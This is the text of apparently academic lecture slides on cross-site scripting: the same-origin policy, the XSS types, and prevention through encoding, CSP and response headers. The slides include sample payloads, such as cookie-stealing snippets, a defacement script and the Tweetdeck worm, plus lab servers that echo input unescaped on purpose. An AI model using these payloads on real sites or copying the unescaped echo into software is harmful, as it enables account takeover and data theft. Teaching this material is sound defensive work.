A3: Cross-site Scripting (XSS)

(JavaScript injection)
But first..JavaScript security

- Pages with content from multiple origins
  - Static (images) or dynamic (JavaScript)
  - Benign or malicious ("malvertisements")
- All content shares the same page context (DOM)
- Must prevent malicious content from stealing or modifying page content it should not be allowed to
  - e.g. transmitting `document.cookie`, injecting malicious DOM elements
Same-origin policy

- When user browses page, scripts running on page can only read or write content of other pages if both pages have the same origin
  - Origin defined as protocol/port (HTTP or HTTPS) and domain name (www.yahoo.com)
  - Enforced at browser
  - Keeps sites from getting access to a user’s information on another site
Example

- For page http://www.flickr.cxx/galleries/, can scripts from the page read content from the following pages?
  - https://www.flickr.cxx/galleries/
  - http://www.photos.cxx/galleries
  - http://my.flicker.cxx/galleries/
  - http://flicker.cxx/galleries/
  - http://www.flicker.cxx:8080/galleries/
  - http://www.flicker.cxx/favorites/

- Problem: Web mashups not possible with same-origin policy
  - Page that aggregates content from other site’s pages
Exceptions to same-origin

- **HTML `<script>` tag**
  
  ```html
  <script src="http://www.site.cxx/some_script.js">
  </script>
  ```
  
  - Allows a web page to bypass same-origin to include code from other locations
  - But, if code is malicious, your page looks responsible
  - Web pages must only include from sources they trust and who have good security themselves.

- Can only include pointers to valid JavaScript code, not data or static pages
Exceptions to same-origin

- JSON (JavaScript Object Notation)
  - Solve problem of `<script>` tag, by creating a data format that is also valid JavaScript code
    ```javascript
    {
      "artist": "The Black Keys",
      "album": "Brothers",
      "year": 2010,
      "tracks": [ "Everlasting Light", "Next Girl", "Tighten Up"]
    }
    ```
  - Serialized into a string when transmitted, but parsed into an object on either end
    ```javascript
    var album = JSON.parse(jsonString);
    ```
Exceptions to same-origin

- iframe
  - Allows a page to force the loading a view of another page
    
    <iframe src=http://www.site.cxx/home.html width="300px" height="300px"></iframe>
  - Loads a 300x300 view of site into base page
  - Scripts in iframes are unable to access or communicate with other frames when loaded from different origins

- **Explicit modification of origin in JavaScript via** `document.domain`
  - Enables pages to “lower” their domain values
  - Two frames: ‘foo.siteA.cxx’ and ‘bar.siteA.cxx’
    - Both can lower their domains to communicate with each other via
      
      <script type="javascript">
          document.domain = 'siteA.cxx';
      </script>
Exceptions to same-origin

• Cross-origin resource sharing via AJAX (Asynchronous JavaScript and XML)
  • JavaScript’s XMLHttpRequest constrained by same-origin policy by default
• But, cross-origin resource sharing (CORS) supported
  • HTTP response header Access-Control-Allow-Origin:
  • Set to a specific domain or to ‘*’ to allow access to any domain (nothing in between)
• CORS default policy
  • No cookies or other authentication information is ever shared cross-domain
  • Can be disabled
    o Script sets “withCredentials” property in XMLHttpRequest
    o Server configured to return HTTP response header Access-Control-Allow-Credentials : true in page response
Security interactions with cookies

- Same-origin policy and cookies have differing security models
- Cookie origin != JavaScript origin
  - Cookies only care about name, not port, protocol or subdomain
  - Cookies can target a specific URL-path
A3: Cross-Site Scripting (XSS) a.k.a. JavaScript injection

- Target browsers instead of server
- Inject rogue data into legitimate pages that is then delivered to browsers of innocent users as malicious code
  - Adversary uploads or sends HTML containing rogue payload
  - Data expected, but malicious JavaScript code given
  - Malicious code injected unsafely into legitimate content
    - Specifically, code is not encoded properly to look like data
    - User executes malicious code
    - Similar to other injections
- Virtually every web application has this problem
  - WhiteHat Sec. 2014 study estimated 70% have at least one
  - Another example where mixing data and code results in security errors
    - Stack-smashing, Macro viruses, etc.
Example

- Search for the term "banana cream pie recipe"
- Output page contains

Your search for banana cream pie recipe found about 1,130,000 results
Example

- **Search for the term** “<i>banana cream pie recipe</i>”
- **What do you want the output page contain?**
  - Your search for <i>banana cream pie recipe</i> found about …. results
  - Your search for *banana cream pie recipe* found about …. results
- **Which one is treating your data (i.e. search term) as code?**
- **Which one is vulnerable to an injection?**
- **What could this do if delivered to a vulnerable browser in a banner advertisement?**
- **Or via a phishing attack**
  - Rogue link in e-mail that, when clicked, will reflect and execute XSS
    ```html
    Click for a good deal!</a>
    ```
  - **Use URL shorteners to hide payload on hover**
Types of XSS

- **Non Persistent (Reflected) Type**
  - The most common type of vulnerability.
  - The data provided by a web client is used immediately by server-side scripts to generate a page of results for that user, without properly sanitizing the request
- **Example**
  - Rogue content reflected from web input such as form field, hidden field, or URL (rogue links)
Types of XSS

- **Persistent (Stored) Type**
  - The most devastating variant of cross-site scripting.
  - The data provided by the attacker is saved by the server, and then permanently displayed on "normal" pages returned to other users in the course of regular browsing.
- **Watering-hole attacks**
  - Bulletin board forum posts stored in database
Types of XSS

- Local (DOM-based)
  - Payload is executed dynamically in client-side JavaScript
  - Often when browser pulls content via AJAX
- Example
  - Rogue JSON not properly sanitized before being evaluated
What to do after code injection?

- Full access to JavaScript engine
  - Steal user’s session/authorization cookie
    - `javascript:alert(document.cookie)`
  - Rewrite web page via DOM access (web defacement)
    ```html
    <script>document.body.innerHTML='<blink>Hacked by Russians!</blink>'</script>
    ```
- Open new windows (DoS)
  ```html
  <script>window.open(...)</script>
  ```
- Redirect user to phishing or malware site
  ```html
  <script>window.navigate(...)</script>
  <script>document.location= ... </script>
  <script>window.location.href= ... </script>
  ```
- Phishing via injection of fake login form
  ```html
  <iframe src= ... >
  <embed src = ... >
  ```
What to do after code injection?

- Create worms
  - Samy MySpace worm
  - Tweetdeck worm

```html
<script class="xss">$('.xss').parents().eq(1).find('a').eq(1).click();$('#[data-action=retweet]').click();alert('XSS in Tweetdeck')</script>
```

- `<script class="xss"> create class with name xss
- `.xss`) => use jQuery to select it (assumes Tweetdeck uses jQuery)
- `.parents().eq(1)` => selects parent of script tag (enclosing tweet’s div)
- `.find('a').eq(1).click()` => selects an anchor tag to click
- `$('#[data-action=retweet]').click()` => clicks on retweet
- When tweet rendered, it is automatically retweeted by viewer
What to do after code injection?

- Steal sensitive data via rogue web requests
  ```javascript
  <script>
  var acctNum =
      document.getElementById('acctNumSpan').innerHTML;
  var acctBal =
      document.getElementById('acctBalSpan').innerHTML;
  ...
  </script>
  ```
- Inject browser exploits (FBI Playpen/Tor) or key loggers
- Modify DOM or invoke eval
  ```javascript
  document.writeln(...)
  document.createElement(...)
  element.innerHTML =
  element.insertAdjacentHTML(...)
  eval(...)
  ```
Example: Reflected XSS

• Consider a page that takes a username (u) and password (p)
  • Upon failure, page outputs that username u with entered password is invalid
• Set u to JavaScript code that triggers an alert box pop-up
  • Set u=alert(‘XSS’);
  • Or u=<script>alert(‘XSS’);</script>
Example: Stored XSS

1. Attacker sets the trap – update my profile
   - Attacker enters a malicious script into a web page that stores the data on the server

2. Victim views page – sees attacker profile
   - Script runs inside victim’s browser with full access to the DOM and cookies

3. Script silently sends attacker Victim’s session cookie

Application with stored XSS vulnerability

Facebook example: https://www.youtube.com/watch?v=iTddmr_JRYM
Example: Local XSS

• Client-side JavaScript code that parses a color parameter in URL to set background color of search results
• Intended usage
  http://www.searchengine.cxx/?pink

  <script type="text/javascript">
      document.write('<body');
      var color = unescape(document.location.search.substring(1));
      if (color != '') {
          document.write(' style="background-color:' + color + '"');
      }
      document.write('>');
  </script>

• Phishing link sent to user

  w.badguy.cxx/’+document.cookie);</script><span%20a="b
Debugging XSS

- Examine HTML returned
  - Which characters got encoded?
  - Which ones did not?
- Probe for errors using well-known problematic strings
  - https://github.com/minimaxir/big-list-of-naughty-strings
- Browsers contain many filters that guard against XSS
  - Can be turned off by server
  - Can be disabled on Chrome
    - --disable-xss-auditor
A3 – Prevention

https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)
Prevention_Cheat_Sheet
Client prevention

- NoScript browser extension
  - Selectively block JavaScript based on source
- Chrome
  - XSS auditor/filter
Server prevention: Input

- Disallow HTML tags in any user input (input validation)
  - See Injection lecture
  - Similar issues as with Injection in bypassing filters
- For user-generated content requiring formatting, use a non-HTML markup language
  - Wikitext (Wikipedia)
- Sanitize input via encoding (ESAPI)
Example: Safe Escaping Schemes for Input into Various HTML Contexts

**HTML Element Content**
(e.g., `<div>` some text to display `</div>`)

**HTML Attribute Values**
(e.g., `<input name='person' type='TEXT' value='defaultValue'>`)

**JavaScript Data**
(e.g., `<script>` someFunction('DATA')`</script>`)

**CSS Property Values**
(e.g., `.pdiv a:hover {color: red; text-decoration: underline} `)

**URI Attribute Values**
(e.g., `<a href="http://site.com?search=DATA" >`)

#1: ( & , < , > , " ) → &entity; ( , / ) → &xHH;
ESAPI: encodeForHTML()

#2: All non-alphanumeric < 256 → &xHH;
ESAPI: encodeForHTMLAttribute()

#3: All non-alphanumeric < 256 → \xHH
ESAPI: encodeForJavaScript()

#4: All non-alphanumeric < 256 → \HH
ESAPI: encodeForCSS()

#5: All non-alphanumeric < 256 → %HH
ESAPI: encodeForURL()

ALL other contexts CANNOT include Untrusted Data
Recommendation: Only allow #1 and #2 and disallow all others
Server prevention: Output

- Avoid including user supplied input in the output page
- HTML encode output
  - `<
    - Left unencoded, this will start a new tag
    - Replace with `&lt;`
Protocol prevention: HTTP X-XSS-Protection:

- HTTP response header
  - Instruct web browser to detect if the source code returned by server contains any part of the client request
  - Ensures reflected XSS is caught by browser
  - If the returned page includes part of the request, trigger an action

- Header values
  - 0
    - Filter off
  - 1
    - Filter on, reflected code removed and remaining content rendered
  - 1; mode=block
    - Filter on, do not render page
  - 1; report=<URL>
    - Filter on, malicious code removed and request reported to URL
HTTP’s Content-Security-Policy:

- HTTP response header
- Specifies the location the page may load content from
  - Applies to JavaScript, images, CSS, fonts, AJAX requests, Frames, HTML5 media
    - Blanket directive default-src
    - Javascript directive script-src
    - CSS directive style-src
    - Images directive img-src
    - AJAX directive connect-src
    - Font directive font-src
    - Media directive media-src
    - Frame directive frame-src
- Supports reporting of violations
  - Report directive report-uri
- Example: Same origin on scripts, AJAX, and CSS. All else blocked.

Content-Security-Policy: default-src 'none'; script-src 'self'; connect-src 'self'; img-src 'self'; style-src 'self';
HTTP’s Content-Security-Policy:

- Source list parameters
  - * Allow all sources
  - ‘none’ Block all sources
  - ‘self’ Allow only same-origin
  - data: Allow in-line data (e.g. Base64 encoded images)
  - domain.example.com Allow requests to specified domain (wildcard OK)
  - https: Only resources using HTTPS allowed
  - ‘unsafe-eval’ Allow dynamic code evaluation via JavaScript eval()
  - See https://content-security-policy.com/ for additional parameters

- Examples
  - Allow scripts from same origin and Google Analytics/AJAX CDN
    Content-Security-Policy: script-src 'self' www.google-analytics.com ajax.googleapis.com;

- Configuration
  - Within Apache <VirtualHost> directive
    Header set Content-Security-Policy "default-src 'self';"
  - nginx server {} block
    add_header Content-Security-Policy "default-src 'self';";
Labs and Homework
For lab exercise

- Toy web application with NodeJS and Express
  - JavaScript-based web development framework
  - Analogous to PHP, Python-Flask
  - Demo script to allow request to both inject JavaScript and set the X-XSS-Protection: header
    - URL parameter ‘xss’ specifies sets the X-XSS-Protection: header on server
    - URL parameter ‘user’ echoed back in the response

```javascript
var express = require('express')
var app = express()
app.use((req, res) => {
  if (req.query.xss) res.setHeader('X-XSS-Protection', req.query.xss)
  res.send(`<h1>Hello, ${req.query.user || 'anonymous'}</h1>`)  
})
app.listen(1234)
```

Create server
Set XSS-Protection header via request
Echo user parameter back into page

Listen on port 1234

https://peteris.rocks/blog/exotic-http-headers
For lab exercise

- Demo script to allow request to set the Content-Security-Policy: header
  - URL parameter ‘csp’ header
  - Script sends back page with inline, local, and remote JavaScript
  - Listens on two ports to implement remote JavaScript load
For lab exercise

"use strict"

var request = require('request')
var express = require('express')

for (let port of [1234, 4321]) {
  var app = express()
  app.use('/script.js', (req, res) => {
    res.send(`
    document.querySelector('#${req.query.id}').innerHTML = 'changed by ${req.query.id} script'
    `)
  })
  app.use((req, res) => {
    var csp = req.query.csp
    if (csp) res.header('Content-Security-Policy', csp)
    res.send(`
    <html>
    <body>
    <h1>Hello, ${req.query.user || 'anonymous'}<h1>
    <p id="inline">is this going to be changed by inline script?</p>
    <p id="origin">is this going to be changed by origin script?</p>
    <p id="remote">is this going to be changed by remote script?</p>
    <script>document.querySelector('#inline').innerHTML = 'changed by inline script'</script>
    <script src="/script.js?id=origin"></script>
    <script src="http://localhost:1234/script.js?id=remote"></script>
    </body>
    </html>
    `)
  }()
  app.listen(port)
}
Tools

- **Ruby on Rails**
  - [http://api.rubyonrails.org/classes/ERB/Util.html](http://api.rubyonrails.org/classes/ERB/Util.html)
- **PHP**
- **.NET AntiXSS Library (v4.3 NuGet released June 2, 2014)**
  - [http://www.nuget.org/packages/AntiXss/](http://www.nuget.org/packages/AntiXss/)
- **Pure JavaScript, client side HTML Sanitization with CAJA!**
  - [http://code.google.com/p/google-caja/wiki/JsHtmlSanitizer](http://code.google.com/p/google-caja/wiki/JsHtmlSanitizer)
  - [https://code.google.com/p/google-caja/source/browse/trunk/src/com/google/caja/plugin/html-sanitizer.js](https://code.google.com/p/google-caja/source/browse/trunk/src/com/google/caja/plugin/html-sanitizer.js)
- **Python**
  - [https://pypi.python.org/pypi/bleach](https://pypi.python.org/pypi/bleach)
- **Java**
  - [https://www.owasp.org/index.php/OWASP_Java_Encoder_Project](https://www.owasp.org/index.php/OWASP_Java_Encoder_Project)
- **GO**
References and tools

  - Can encode for HTML, HTML attributes, XML, CSS and JavaScript.
- `ESAPI`
  - [https://www.owasp.org/index.php/ESAPI](https://www.owasp.org/index.php/ESAPI)
- `AntiSamy`
  - [https://www.owasp.org/index.php/AntiSamy](https://www.owasp.org/index.php/AntiSamy)
Extra slides
Bypassing same-origin inside network

- DNS rebinding attack
  - Prevent via HTTPS, but ideally with DNS security(!)

Figures from BlindSpot’s Foundations of Web Application Security